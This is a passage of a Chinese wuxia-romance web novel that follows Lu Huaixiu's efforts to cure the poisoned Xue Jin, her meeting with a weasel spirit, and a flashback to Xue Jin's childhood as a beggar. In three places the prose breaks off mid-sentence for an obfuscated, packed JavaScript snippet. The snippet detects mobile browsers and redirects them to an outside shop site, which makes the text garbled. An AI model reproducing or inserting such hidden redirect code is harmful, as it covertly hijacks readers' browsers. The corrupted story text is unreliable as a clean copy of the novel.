他的笑容如桃花灼灼,明媚至极,看在李年年眼中却让她莫名觉得刺眼。她垂下纤长的眼睫,遮住了眼底的黯然,再抬起眸子的时候,其中已是一片清明:“薛念之,我的心思你是知道的吧。” 有些意外于她会主动挑明此事,薛矜一时哑口无言,不知道该说些什么,过了许久才从口中吐出一句:“对不起。” 随着他的话音落下,李年年眼底闪过一丝落寞,很快又恢复如初:“你没什么对不起我的,这本来都是我的一厢情愿。我早就知道两情相悦是件很困难的事,你能和那位陆姑娘走到一起,我也替你们感到高兴。”她停顿了片刻,紧接着便是图穷匕见:“我看得出来她是真的很喜欢你,你为什么不愿意为了她,多一些活下去的信念呢?” 听她说出这番话,薛矜神色一愣,而就在他愣神的功夫,身后的房门毫无预兆地被推开,端着木质托盘的小公主径直朝他走来,屋里顿时弥漫起一股浓郁的药香。 少女原本一直站在屋外偷听两人的对话,一边偷听一边心情也跟着起伏跌宕,直到听到此处,她再也忍不住,直接推门而入,气势汹汹地说道:“薛念之,你给本姑娘听好了,如果你再抱着这样消极的念头,我就再也不理你了。” 见她突然闯进来,屋内两人俱是一惊,他们因为太过于专注对话,以至于完全没注意到屋外站着个大活人,想来刚才那些话都一字不落地被她听了进去。 在片刻的震惊之后,李年年的神情恢复如常,她没有再多说什么便起身离开,在与陆怀袖擦肩而过的那一刻,她别有深意地看了少女一眼,接着便走出屋子,还体贴地关上了门。 读出对方目光中的鼓励之意,陆怀袖的心情一时复杂难言,她以前还把对方当作情敌看待,如今看来是错得离谱。敛了敛心神,她慢慢走到少年对面坐下,随后将托盘和药碗随手放在桌上。 感受到落在自己身上的视线,薛矜无奈地叹出一口气:“殿下怎么也学会听墙角了?” 他不说还好,一说陆怀袖就来气,她沉着脸瞥了一眼桌上没被带走的“遗物”,忍不住阴阳怪气地说道:“我要是不偷听,还不知道你这个家伙已经背着我交代完后事了。” 闻听此言,向来牙尖嘴利的少年一时也有些哑然,诡异的沉默在两人之间蔓延开来。 最终打破沉默的是陆怀袖:“我曾向你保证过一定会让你好起来,薛念之,你为什么不能像我相信你一样相信我呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466586|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 在少年吐出那番“遗言”后,陆怀袖心中登时升腾起一股难以抑制的恼怒,磅礴的怒意中又夹杂着某种无能为力的挫败感——她为薛矜完全不信任自己这件事感到生气,同时也在懊恼自己能力有限,无法取得对方的信任。 薛矜似乎也听出了她话里的意味,唇线瞬间抿成一直线,表情看起来既愤怒又无可奈何:“你要如何救我?是又要割腕放血喂给我喝么?如果是这样的话,我宁愿你什么都不做。” 当场被他揭穿,陆怀袖整个人都呆住了,好不容易意识回归,她有些心虚地低下头去,无力地反驳道:“我……我没有……” 薛矜用一声轻哼回答了她:“不久前我听年年提起,你今日突然主动要求替我熬药,那时候我就猜到了你在打什么算盘。如果我没有猜错的话,你端过来的这碗药里就有你的血吧。” 话说到这个份上,陆怀袖知道已无隐瞒的必要,索性开门见山地说道:“我只是想要你早点好起来。” 闻言,薛矜轻轻摇了摇头,语气颇有些恨铁不成钢:“你不想看到我死去,我却也不愿你受伤。你若是想我为你努力活下去,就该替我好好保重自己的身体。” 他话中蕴藏着的关切之意再明显不过,陆怀袖一听便知,心里是既甜蜜又苦涩。过得片刻,她目光深深地看着面前的少年,明知对方看不见,还是伸出三根手指头作发誓状:“既然如此,我向你保证再也不做这样的傻事,作为交换,你也不要想着弃我而去,好不好?” 听出少女语气里夹带着的恳求,薛矜心头一软,再也维持不住那副冷硬模样。在她期待的目光中,他轻启薄唇:“好。”正如他之前所说的,当一个如花似玉的姑娘眼巴巴求着你的时候,是很难说出拒绝的话来的。 得到他的承诺后,陆怀袖的眉眼倏地舒展开来,任谁都能看出她此刻的好心情。又像是想起来什么似的,她端起托盘上的药碗,用汤匙舀了一勺药送到少年唇边,可怜兮兮地说道:“可是这碗药里已经有了我的血,你要是不喝,我就白挨那一刀了。” 听她这般说,薛矜好看的眉头又再度皱了起来,但他最终还是顺从地张开了口,喝下喂到自己嘴边的汤药。尽管他对少女这种不爱惜自己身体的行为十分不赞同,却也不想她的心血就这么白白浪费掉。 屋内又回到和先前一样的静谧,陆怀袖神情专注地喂少年喝药,目光自然而然落在他唇上。他嘴唇的形状十分好看,就像两片花瓣似的,一张一合的时候让她没来由地回想起从中吐出的那番话。 ——“她看似柔弱实则坚强,即使离开我的庇护,也能好好活下去。我所能做的,就是将她从牢笼中救出来,从此海阔凭鱼跃,天高任鸟飞。如今的她已是自由之身,我也可以了无遗憾地撒手人寰了。” 待到思绪回归之时,少女心中暗自叹道:“笨蛋,要是没有你在身边,这样的自由我要来又有何用?” 在他没有选择一掌震碎她的心脉,而是冲她张开双臂的那刻起,她就发誓这辈子都不会放开他的手,是生是死他们都要在一起。 69. 转机 傍晚时分,夕阳西沉,大片大片的火烧云染红半边天空,陆怀袖在林间小路上快步疾走,一身素色衣裙也被染上了艳丽的色彩。此时此刻的她背着一只药娄,里面装着满满当当的草药。 她原本略懂些医术,在得知李年年所需的药材后,当即便自告奋勇地提出自己可以采来这些药,因为地点就在不远处的后山,李年年便放下心来让她去了。 费了好大一番功夫,她总算赶在天黑之前找齐了所有的药材,虽然在采药途中难免会受些皮外伤,不过能让那人活下来的希望又多上一分,这一切就都是值得的。 眼见天就要黑下来,陆怀袖脚下的步伐越来越快,只是她还未走出林子,便迎面撞上一个看起来就不像好人的男子。 那人头束黄发,相貌奇丑,走起路来摇摇晃晃,看上去就像个喝醉了的酒鬼。那个酒鬼在看到她之后,那双鼠目顿时露出了几分精光,当即冲她跌跌撞撞地走过来,一副意图搭讪的样子。 陆怀袖见他离自己越来越近,心中登时警铃大作,下意识摸了摸怀中的匕首。如果那人真的有什么不轨的行为,她也有自保的能力。就像先前杀掉那头饿狼一样,只要他敢伤害自己,她就会让他付出惨痛的代价。 那人像是看不见她那副严阵以待的模样,脚下依旧不停,最后在离她两三步的地方站定。 陆怀袖紧张地吞咽一口口水,握着匕首的手骨节泛白,随时准备发起攻击。但大大出乎她意料的是,那个酒鬼似乎并没有伤害她的意思,在她警惕的目光中,那人竟冲她规规矩矩地作了个揖:“请问姑娘能否回答在下一个问题?” 似乎也没想要从她口中得到答案,那人自顾自地又说了下去:“你觉得在下像个人么?” 这问题着实古怪得很,少女十分茫然地眨了眨眼睛,一时不知如何作答。片刻过后,她松开握住匕首的手,将目光落到这个全身上下透着怪异的男子身上。 她之前没认真看,此时将他从头到脚端详了一遍,脸上表情便有点一言难尽。面前这人歪鼻子斜眼睛,谁看了都说丑,也不怪她初次见面就拿他当坏人看。 只是这一连串动作下来,那人显然对她并无恶意,单纯就是向她问话。尽管这个问题的答案显而易见,但陆怀袖向来与人为善,就算对方只是个素未相识的陌生人,她也不愿伤了他的心。 他长成这副样子,平时肯定没少受欺负,自己要是再在他伤口上撒盐,那可就太不厚道了。 思及此处,她缓缓抬头,对上那人满怀期待的目光,静默片刻后违心说道:“当然。” 随着她的话音落下,那人脸上顿时露出大喜过望的神色,紧接着让人惊掉下巴的一幕出现了。 陆怀袖只觉眼前一花,还未反应过来,就见面前那人完全变了模样,那眉那眼,那鼻那唇,虽然和薛某人比起来还差得远,但勉勉强强能担得起“俊朗”二字。 不过一眨眼的功夫,整个人几乎是换了副模样,这能力已经完全脱离了凡人的范畴。陆怀袖睁大双眼,不可置信地望着他,心中隐隐浮现出一个大胆的猜测。 那人一眼看穿她的心思,坦坦荡荡地承认:“姑娘莫怕,在下的确不是人,但也不是那种会吃人的妖怪。”见她神情稍微放松了一些,他紧接着自我介绍道:“在下本是一只修炼了三百年的黄鼠狼精,今日好不容易修得人身,若是得到有缘人的认可,修为便能更上一层楼。” 他这番话一字不落地落入陆怀袖耳中,在她心里掀起轩然大波。假如他没有说谎,他的的确确是一只修炼多年,刚刚修成人身的黄鼠狼精,那他方才的行为不就是在向她讨封? 除了江湖话本之外,陆怀袖还爱翻阅各类志怪神鬼书籍,她知道某些精怪在修行中遇到瓶颈时,往往会通过寻求凡人的帮助来解决问题,这种行为就称作“讨封”。若是讨封成功,它们便能突破瓶颈,更上一层楼,反之就会前功尽弃,需要从头再来。 这种毁人修行的事难免惹人记恨,所以害它们讨封失败的人往往会遭到报复,不会有好下场。 理顺思绪后,她看着面前堪称容光焕发,和之前几乎是判若两人的妖怪,有些庆幸地暗想着,还好自己没有实话实说。 林间的风吹动衣袂,那只妖怪又弯腰对着她作了一揖,语气里满是感激:“若非姑娘相助,在下也无法突破瓶颈。作为回报,你有什么愿望需要在下实现的,尽管提出来。” 随着他的话音落下,陆怀袖心中一动,忽然想到了什么。她强行按捺住自己心底的狂喜,以尽可能平稳的声线说道:“我的恋人身中醉神花毒,如今性命垂危,还请大仙施以援手,救他一命。”语毕,她神色紧张地盯着他,生怕他说出什么自己害怕听到的话来。 闻听此言,那只妖怪登时露出了犯难的模样,看得少女脸色惨白,猛地咬住了下唇。低头沉吟半晌,他斟酌着开口:“醉神花毒的确难解,但在下知道有江湖上有一位高人或许有法子为君解愁。” 陆怀袖的眼睛倏地就亮了起来,她向他走近了一步,语气不知不觉地带上几分急切:“是谁?”她救人心切,就算他说那位高人住在九重天上,她也会找来天梯爬到天宫。 好在妖怪并未卖关子:“那人正是鼎鼎大名的知守观掌门人——千鹤道长。”停顿了片刻,他复又接着说道:“但此人深居简出,甚少露面,上一次下山还是在联合其他掌门人围剿薛摇光的时候……” 他后面又说了什么,陆怀袖却是再也听不见了,她脑中全是那句“上一次下山还是在联合其他掌门人围剿薛摇光的时候”,结合他之前说过的话,不难得知这位能救一命薛矜的高人,却是欲将他除之而后快的仇敌。 心一点一点地沉到了谷底,少女垂下头来,脸上露出显而易见的沮丧,黄鼠狼精将她的神色尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482992|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收眼底,不由惊咦一声,自己还什么都没说,她哭丧着脸作甚? 实在是没忍住,他歪着脑袋好奇地问道:“姑娘这是怎么了?” 听见他这句问话,陆怀袖思量再三,最终还是把自己的顾虑如实告知。 妖怪听罢,恍然大悟地“哦”了一声,他垂眸看向神情低落的少女,轻笑道:“原来你是在担心这个。”见她抬眸望过来,他不疾不徐地说道:“既然那位道长同他立场敌对,那你不妨化敌为友。” 见少女眼中燃起一簇火焰,妖怪唇角微扬,旋即变戏法似的变出一枝花来。那枝花通体雪白,周身散发出冰霜的寒气,在它出现的瞬间,周围的温度都跟着降了下来。 他将那枝像是冰雕雪刻出来的花不由分说地塞到陆怀袖手中,随后迎上她疑惑的目光,慢条斯理地开口说道:“这便是传说中的奇药天霜雪莲,世上仅有一枝,就在你的手里。千鹤道长向来痴迷炼药,而据我所知,他最近正在炼制的百草丹恰恰就缺了这么一味药,你若是拿出这枝花作为交换,他必定会答应你任何条件。” 听他这般说,陆怀袖拿着那枝花的动作都变得小心翼翼,此刻她才知手中这枝花的珍贵,眼下就算是有人拿出金山银山摆在她面前,她都不会将其让出来。 平复下激动的心情,她微微屈膝下蹲,对着面前的妖怪盈盈一拜:“大仙大恩大德,小女子没齿难忘。” 妖怪闻言,不以为意地摆了摆手道:“你用不着谢我,你本就是我的恩人,我帮你是应该的。”说完,他抬头看了眼昏暗的天空,而后续道:“如今天色已晚,姑娘还不早些回去,准备明日的大小事宜。” 被他这么一提醒,陆怀袖才想起自己还有要事在身,当务之急就是回到家中,同陈李二人商议共赴知守观求医之事。打定主意后,她朝着面前这位大恩人躬身一拜:“若是今后有缘再见,小女子必将盛情款待。” 少女这番话说得真情实意,她对这只妖怪的惊恐之感早已消弭,只剩下满腔的感激之情。这一次若真能度过难关,她就是在家里给他修个生祠当祖宗供起来也不为过。 妖怪的唇角轻勾了下:“好了好了,快点回去吧,日后你们成亲,记得请我喝杯喜酒便是。” 随着他的话音落下,陆怀袖的脸腾地一下烧红,并一路蔓延至耳根。欲盖弥彰地咳嗽了一声,她正要开口自证清白,却不想刚才还在调侃她的妖怪陡然间消失不见。 她下意识环顾四周,却依旧没能看见那道身影,想来对方早已离去。 什么嘛,她还没说自己到底答不答应呢…… 摇头笑了笑,陆怀袖收敛心神,将那枝花珍而重之地收入怀中,随后继续往宅邸的方向赶路。在经历了这番奇遇之后,她的步伐都雀跃许多,任谁都能看出她此刻的好心情。 常言道山重水复疑无路,柳暗花明又一村,古人诚不我欺。 70. 贵客 雕花木窗被打开一半,和煦的微风拂面而来,裹挟着花朵青草的芬芳,薛矜随意地侧身而坐,耳畔是清脆的鸟鸣声,与风吹动树叶发出的沙沙声交相辉映。 好无聊啊。少年单手托腮,心里发出这样的感慨。 一大清早陆怀袖就带着陈李二人出了门,说是要赶往知守观求医。起初听到这件事时,他是极力反对的,毕竟那老道士向来和他不对付,怎会好心救他一命,他认为小公主那是上赶着找闭门羹吃。 只是对方一副胜券在握的模样,任他怎么劝说都不听,依旧我行我素,在多次阻拦无果后,他知拗不过她,便由她去了。 ——公主殿下性格软乎乎的像个糯米团子似的,总是一副很好说话的样子,但薛矜心知,那人在某些方面其实倔得很,一旦决定了的事,就是十头牛也拉不回来。 现如今这座宅邸就只剩下他和水玲珑两个人,而就在不久之前,他喝下了对方送过来的汤药,不得不说,药苦得他整张脸都扭曲了,但他还是硬着头皮喝完了。 那四个家伙这段时间对他的付出他都看在眼里,尽管他知道自己活下去的希望很渺茫,但还是尽量配合他们,真的做到了不给他们添麻烦。 他们已经做到了自己该做的全部,余下的只能听天由命了。要是他这次还是没捱过去,那也是他自己命不好,怪不得他们。 思及此处,他轻轻叹了口气,觉得有些对不起四人。不,准确地说,是五个人——除去那四位同龄人,还有那个于他有提携之恩的落月教教主,轩辕十四。 他赐予他在年轻一辈中几无敌手的力量,一人之下万人之上的权势,几辈子都花不完的财富,可以说那个正道侠士看不惯但就是干不掉的薛大魔头就是他亲手塑造的。 尽管对方性格恶劣行为乖张,还是个爱好玩弄人心的愉悦犯,总是变着法子折腾他,隔三差五捉弄他,不遗余力压榨他……但除此之外,他一直对自己还不错。 当然,这一切的前提都是建立在自己对他有利用价值之上的。薛矜想起儿时曾与他许下的誓言,情绪肉眼可见地低落下去。 而就在他沉湎于往事的时候,窗台边不知何时飞来一只黑漆漆的乌鸦。它先是理了理自己杂乱的羽毛,随后用那双红宝石一般的眼睛目不转睛地盯着少年看,那情景要多诡异要多诡异。 而就在下一刻,更让人不寒而栗的一幕出现了。 红眼乌鸦幽幽地看了他一会,冷不丁问道:“哎呀哎呀,你怎么把自己弄成这副样子了?”它的声音慵慵懒懒得好似刚睡醒一般,若非亲耳听见,没有人会相信这是由一只乌鸦发出来的。 在听到那道声音的刹那,薛矜猛地抬起头,略带迟疑地开口道:“……教主?” 红眼乌鸦没有否认的意思,直截了当地回道:“正是本座。”视线停落在少年蒙眼的红绫上,他顿了顿,又很体贴地补充道:“我人没来,来的是我的宠物乌鸦,我把神识附着在它的身上,随它一起来看望你。” 察觉到落在自己身上的视线,少年顿觉如坐针毡,心里的不安像野草一般疯长。他做了亏心事,害怕对方怪罪,这是一方面原因,但更多的却是因为他从心里排斥让对方看到自己如今的样子。 现在的他除了听觉尚在之外,已经不太能感知到外物了,这样的他说是个废人也不为过,而一个废人又怎么入得了教主大人的眼呢? 两人一时谁也未开口,令人窒息的沉默瞬间在屋内蔓延开来。 最终还是轩辕教主纡尊降贵地主动开口打破沉默:“你中毒这件事的前因后果本座已经听说,但你大可放心,本座今日来此,并非要兴师问罪,只是想看看你的身体状况。” 薛矜听出他语气里宽容的意味,却并不为此而感到庆幸,相反的,他心底的不安越发浓重。他宁愿领受任务失利的责罚,也不想他轻飘飘一句话就揭过此事,前者只是要受些皮肉之苦,对他来说算不得什么,后者却会让他在某种自责愧疚的境地泥足深陷。 轩辕十四凉凉地瞥了他一眼,突然话锋一转:“但有一件事,本座希望你能好好解释一下。”说到此处,他顿了顿,复又开口,语气里带上了几分咬牙切齿的意味:“关于你在没有收到命令的情况下,擅自杀掉北离国君裴无言这件事。” 此言一出,少年的脸色立马变得苍白,身体也不受控制地绷紧。教主的耳目遍布天下,他从未想过此事能瞒过他,早已做好了受罚的思想准备,但真到了这一刻,生理上的疼痛倒在其次,心理上的折磨却更让人难以忍受。 他并不后悔杀掉那个狗皇帝,但这不代表他不会为此感到愧疚。毕竟打狗还要看主人,那个狗皇帝是教主亲手培植起来的势力,自登基以来给其带来诸多好处,自己就这样干脆利落地杀死了他,无疑是在损害教主的利益。 对于让自己吃亏的人,轩辕十四通常不会让他们死得那么痛快,而是慢慢折磨他们,让他们生不如死,就像是猫戏老鼠一般。这种场面薛矜从小到大见得多了,早已见怪不怪,甚至还觉得那是他们罪有应得。 但他万万没想到的是,有朝一日风水轮流转,当年不可一世的猫,如今却变成了即将被剥皮拆骨的老鼠。 心里说不上来是什么滋味,他慢慢垂下了头,等待着命运的刀落下。只是预料中的暴风雨并未到来,那位身居高位的邪道至尊没有大发雷霆,恰恰相反的是,他态度相当的温和,语气出奇的平静:“告诉我,你是出于何种目的杀掉他的。” 回答他的是一片沉默,轩辕十四似乎对少年的回答并不意外,自顾自地接着说了下去:“是因为那位远赴北离和亲的明月公主?你怕她有朝一日惨遭毒手,所以提前替她扫除危险?” 少年依旧紧抿着唇一言不发,但轩辕十四却知道这是被他说中了的表现。静默片刻之后,他发出一声意味不明的轻哼:“你这样做,是为了救她,还是为了救薛知意,亦或是为了救你自己?” 在他话音刚落的那刻,薛矜素来风平浪静的心湖也在瞬间掀起惊涛骇浪,这个问题直击他内心深处,让他陷入了无尽的迷惘。而就在这时,教主陡然间话锋一转:“你还记得自己是什么时候被我捡到的么?” 话题转移的如此之快,少年张着嘴巴,一时有些怔愣住,但他仅仅只是怔愣了一瞬,便回答道:“属下自然记得。” 虽然不知他为何突然问起这个问题,但薛矜还是选择如实回答。事实上,对于当年之事,他不仅记得,而且记得清清楚楚。 * 炎炎夏日,灼热的阳光像火烤似的直直照在大地上,过往行人皆是口干舌燥汗流浃背,恨不得马上飞到家中避暑。无人在意的角落,一位衣衫褴褛蓬头垢面的小乞丐孤零零抱膝坐在那里,面前放着一个他从垃圾堆里翻找出来的破碗。 热辣的太阳也不能让他挪动分毫,他用那双黑曜石一般的眼睛不动声色地观察着街上来往的行人,像是在搜寻谁的身影。可让他失望的是,几个时辰过去了,他依旧没等来想见到的人。 从怀中掏出一只金丝绣成的钱袋,小乞丐掂了掂,分量很重,不用打开看就知道里面装了不少钱,如果将它据为己有,自己应该能逍遥一段时日。 但是……他想要的不只是这样,一顿饱还是顿顿饱他还是分得清的。于是,他选择了继续等待。 合格的猎人都具备足够的耐心,小乞丐不过九岁的年龄,却很早就懂得了这个道理。 日头越来越高,阳光越来越烈,即使浑身衣物都被汗水浸透,黏黏糊糊难受得很,但他没有一点半途而废的意思,依旧一动不动地坐在那里,努力搜寻着猎物的身影。 皇天不负有心人,又等了一盏茶的功夫,他的猎物,终于送上门了。 眼前突然笼罩下来一片阴影,扰人的日光就这样被阻挡在外,小乞丐垂下眸子,掩去眼底那抹得逞的笑意,随后抬眸对上来人的视线,面孔带着恰到好处的惊喜。 来人约莫二十出头,一身黑衣,金冠束发,眉眼如上好的水墨画,任谁看了都移不开视线。而最令人印象深刻的是他那双灿金色的眸子,在日光的映照下,宛若流动的金子一般熠熠生辉。 那名拥有着金色双眸的黑衣男子就这么长身玉立在他眼前,全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496334|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下无一不透着贵气,显得与周遭格格不入,不知是哪位大户人家偷跑出来寻欢作乐的公子哥。 过得片刻,公子哥半蹲下身子,与小乞丐保持着平齐的视线:“小乞儿,可是你捡到了我的钱袋?”他说着视线往下一瞥,最终定格在小乞丐手中拿着的金丝钱袋上,意思不言而喻。 失主终于出现,小乞丐一个字也没多说,直接将那个沉甸甸的钱袋递了出去,动作干脆利落得不像话。 物归原主后,公子哥不甚在意地掂了掂失而复得的钱袋,随后用一种漫不经心的口吻问道:“明明这笔钱足够你吃香喝辣不知道多久,你为什么还要傻傻等在这里呢?” 他定定地望着那名看起来不过十岁左右的小乞丐,视线仿佛要将他看穿一样:“别说谎,说谎的孩子可是要吞一千根银针的哦。” 说这话时,他那双瑰丽的黄金眸分明含着笑意,可小乞丐却感受到扑面而来的压迫感,在对方的注视下,他觉得自己已经无所遁形。 强忍着后退的冲动,他大着胆子迎上对方洞若观火的视线,和他平静对视:“你或许会因为我物归原主的行为,给予我一个脱胎换骨的机会。为了得到更大的利益,我可以放弃眼前的蝇头小利。” ——他是个唯利是图的小人,不会做无利可图的事情。也许因为他的拾金不昧,这位看上去高不可攀的贵公子会对他青眼有加,说不定还会把他收为手下,将他从这处泥潭中拉出来。 他这回答着实不走寻常路,公子哥听罢,面上的兴味更深,他饶有兴致地看着这个心眼比藕眼还多的小乞丐,忽然开口问道:“小乞儿,告诉我你的名字。” 闻听此言,小乞丐顿时心中大喜,只是不好在脸上表现出来,便强作镇定地回答道:“我叫薛矜。”生怕没能给对方留下印象,以致计划泡汤,他还特地补充了一句:“是矜持的矜。” 公子哥在唇齿间无声咀嚼着这个名字,随后直起身子,居高临下地望着他,唇角慢慢浮起恶劣的笑容:“你倒是打得一手好算盘,只可惜我没有捡流浪猫带回家养的兴趣,你还是继续留在这儿要饭吧。” 他说完转身就走,一丝留恋也无,很快便消失在街道的尽头,连个背影也没留下。 他这番动作行云流水,名为薛矜的小乞丐看的是目瞪口呆,等他反应过来的时候,那人早已不见了踪影。望着对方离去的方向,他泄愤似的对着空气挥了挥拳头:“混蛋!!!早知道就把你的钱花光光!!!” 尽管两人隔着相当远的距离,但他这句气话还是准确无误地落入公子哥耳中,他唇角轻扬,勾起一抹极其愉悦的笑意,看起来并未因为对方的不敬而生气。 其实这并非是他第一次见到对方,早在几天前,他就已经见过他了,只是那个小乞丐不知道罢了。 那时候的小乞丐被一群稍大一点的地痞流氓压着打,丝毫没有还手的能力。拳头如雨点一般落在他身上,可他就是死死地咬住嘴唇,一点声音都不让自己发出来,似乎感觉不到疼痛似的。 那双黑如点漆的眸子里满是恨意,能将一切燃烧殆尽的恨意。 他并未出手制止,只是站在一边袖手旁观,当真是铁石心肠。 最后的最后,那群混混嬉笑着离开,只留下伤痕累累,浑身上下没有一处好肉的小乞丐。他看着对方强撑着身体慢慢站起来,步履蹒跚地往前走,尽管途中因为疼痛踉跄了一下,可他并未倒下,依旧缓慢而坚定地前行着。 他就这样目送着对方离开,直到那道瘦小的身影完全消失不见,他才缓缓收回了视线。 接下来的几天里,他不知出于何种心思,一直暗中观察着对方,今日更是心血来潮地丢下钱袋,故意让那个小乞丐捡到,想看他如何应对。 之后对方的应对,让他越发觉得有趣了起来。 他很久没有遇到过这么对他胃口的人了,如果对方接下来的表现还是一如既往的有趣,那他不介意捡个仆从使唤。 重新缩回角落里的小乞丐兀自生着闷气,丝毫不知道自己已然被人盯上,在不知不觉中,他的命运悄然地发生了改变。 71. 誓言 月影西斜,漆黑的夜空中零星点缀着几颗星星。 郊外的一座破庙里,神像倾圮,蜘蛛网遍布,到处是一片破败荒芜的景象。在破损不堪的神像下方,一群形容猥琐的乞丐围成一团,七嘴八舌地议论着白日的见闻,令人闻之欲呕的臭味从他们的身上散发出来。 拜祭过某人之后,薛矜推开残破不堪的庙门后,看到的就是这样一副场面,本就糟糕的心情更是雪上加霜。 他眉头一蹙,随即便垂下眼帘,掩去眼底深切的恨意,而后又装出一副畏畏缩缩的模样,朝那群不速之客战战兢兢地走了过去,一边走一边在心里思忖着要如何应付这等局面。 他刚一进庙,庙中的乞丐就齐齐朝他投来视线,当中的乞丐头子上前一步,上下打量了他一番,而后凶神恶煞地说道:“小叫花!识相的话,就把你身上的钱都交出来,不然我要你好看!” 闻听此言,薛矜在他看不见的地方冷笑一声。这群人真是贪得无厌,这才过去几天,就又来敲诈勒索了。而他们之所以敢这样做,无非就是看自己年纪小好欺负,又无人撑腰罢了。 不知想起了什么,他眼中瞬间爆发出一股强烈的杀意,但不过转瞬,便被佯装出来的惊恐所取代。 在敌我力量悬殊的情况下,他不可力敌,只能智取。 乞丐头子见他迟迟不作出回应,便有些不耐烦道:“臭小子!皮痒了是吧?居然敢不听本大爷的话!”他话音刚落,身后那群小弟一个个都摩拳擦掌起来,只待老大一声令下,就冲上前去把这不识相的小叫花痛打一顿。 在恶势力的威迫下,薛矜只得将身上的钱全部拿出来,毕恭毕敬地双手奉上。乞丐头子看着手中那少得可怜的铜板,很是不满地皱起了眉头:“几天过去了,你就只讨来这么点钱?” 闻言,薛矜在心里翻了个白眼,面上却装出一副可怜兮兮的模样,为自己辩解道:“今年年成不好,城中百姓哪个日子不过得紧巴巴的,哪有多余的闲钱施舍乞丐呢?” 这话说的倒也是事实,可乞丐头子还是摆出一副“不听不听,王八念经”的样子,恶声恶气地说道:“我不管,你要不来钱就是你无能!无能的家伙就活该受到惩罚!” 他话音刚一落地,一个身材圆润的胖乞丐便从他身后走出来,对他坏笑着提议:“老大,我们不如把这个臭小子的眼睛给挖掉!您想想看,一个瞎了眼的小叫花沿街乞讨,怎能不激发路人的怜悯之心?如此一来,不是对我们更有利吗?” 此言一出,余下众丐无一不拍手叫好,只恨自己想不出这么天才的法子。 眼见众丐脸上慢慢浮现出不怀好意的笑容,薛矜心中咯噔一声,瞬间意识到自己的处境已经十分危险。 他当然不会选择坐以待毙,在敌人尚未察觉的时候,他就不动声色地挪到门口,而后一溜烟地逃走了。 等到剩下的人反应过来的时候,为时已晚。眼见到手的鸭子就这么飞了,众丐面面相觑,你看我我看你,最后还是乞丐头子跺脚怒道:“你们还愣着干什么?快追,别让那小子跑了!” 随着他这一声怒喝响起,余下众丐这才如梦初醒般回过神来,转眼间全都冲出了破庙,向小叫花直追过去。 寂静的夜空之下,一出你追我逃的戏码正在上演。在这场激烈的追逐战中,薛矜虽具备先发优势,奈何人矮腿短,完全甩不掉后方的追兵,他们就如同猎犬般紧咬着他不放。 屋漏偏逢连夜雨,就在他慌不择路地逃命时,脚下突然被一块凸起的石头绊倒,狠狠地摔在了地上,溅起一片尘土。 身后的脚步声越来越近,薛矜深知留给自己的时间不多了,强忍着疼痛站起来,继续不要命地往前跑。火辣辣的疼痛传遍全身,但他已无暇顾及,他知道自己若是落入那些恶人的手中,后果不堪设想。 他是年纪小,又不是傻,不会把他们刚才那些话当成玩笑话。像他们这种深陷泥潭的人早就已经抛却良知,为了生存下去,干出什么丧尽天良的事都不稀奇。 风声呼啸在耳边,薛矜用尽全力地奔逃,身后是一大群索命恶鬼,惨白的月光照在他们狰狞的面目上,牛头马面看了都要甘拜下风。 眼看着就要被追上,薛矜的心一点一点沉下去,就在他的心快要沉到谷底时,一片茂密的树林赫然出现在眼前。心中忽然生出一计,他当即就朝着林间深处跑了过去。 一路追着他不放的众丐见他奔入林中,想都没想就跟了上去。丛林茂密,四周都是黑魆魆的,只有微弱的一点月光透进来,勉勉强强照亮他们脚下的方寸之地。 不知是哪棵树上的乌鸦突然怪叫了一声,好似婴儿在啼哭一般,更是给本就阴森的林子平添了几分鬼气。胖乞丐有些害怕地咽了咽口水,声音发颤地说道:“老大,要不我们还是回去吧,这个地方处处都透着古怪……” 他话音未落,就被自家老大一个暴栗砸在头上:“回去干什么?要回去你自己回去!今天不把那个臭小子眼睛挖下来,我誓不为人!” “哼,我竟不知你也算个人了。” 不远处的一颗大树后面忽然走出来一个八九岁的小叫花,正是被众丐一路穷追不舍的薛矜,此刻的他微昂起下巴,脸上尽是轻蔑之色,哪里像一只即将挨宰的小羊羔? 乞丐头子听出他语气中的嘲讽,用阴恻恻的目光狠狠剜了他一眼,随后强忍着怒气给小弟下达命令:“还不快给老子抓住那个臭小鬼!” 随着他一声令下,余下众丐纷纷转向小叫花,眼里闪烁着志在必得的光芒。 敌人来势汹汹,薛矜却丝毫没有逃避的打算,他取下腰间的竹箫,放到唇边吹奏起来,霎时间箫声阵阵,传遍林间,蛰伏在夜色中的野兽仿佛得到了什么诏令,纷纷从黑暗中走出,发疯似地冲向众丐,并对他们发起猛烈的攻击。 